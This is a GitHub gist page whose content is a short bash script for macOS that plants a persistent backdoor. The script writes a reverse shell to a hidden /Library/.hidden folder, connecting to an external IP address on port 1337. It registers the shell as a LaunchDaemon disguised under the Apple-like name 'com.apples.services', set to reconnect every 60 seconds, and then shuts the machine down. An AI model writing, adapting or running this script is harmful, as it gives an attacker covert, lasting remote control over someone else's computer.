Skip to content

Instantly share code, notes, and snippets.

@DanPen
Last active June 1, 2016 18:13
Show Gist options
  • Save DanPen/79ac4c8f82ca26a8c90b7695021fe6c0 to your computer and use it in GitHub Desktop.
Save DanPen/79ac4c8f82ca26a8c90b7695021fe6c0 to your computer and use it in GitHub Desktop.
#!/bin/bash
#Create the hidden directory /Library/.hidden
mkdir /Library/.hidden
#Copy the script to hidden folder
echo "
#!/bin/bash
bash -i >& /dev/tcp/107.170.117.216/1337 0>&1
wait" > /Library/.hidden/connect.sh
#Give the script permission to execute
chmod +x /Library/.hidden/connect.sh
#Create directory if it doesn't already exist.
mkdir /Library/LaunchDaemons
#Write the .plist to LaunchDaemons
echo '
Label
com.apples.services
ProgramArguments
/bin/sh
/Library/.hidden/connect.sh
RunAtLoad
StartInterval
60
AbandonProcessGroup
' > /Library/LaunchDaemons/com.apples.services.plist
chmod 600 /Library/LaunchDaemons/com.apples.services.plist
#Load the LaunchAgent
launchctl load /Library/LaunchDaemons/com.apples.services.plist
shutdown -h now
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment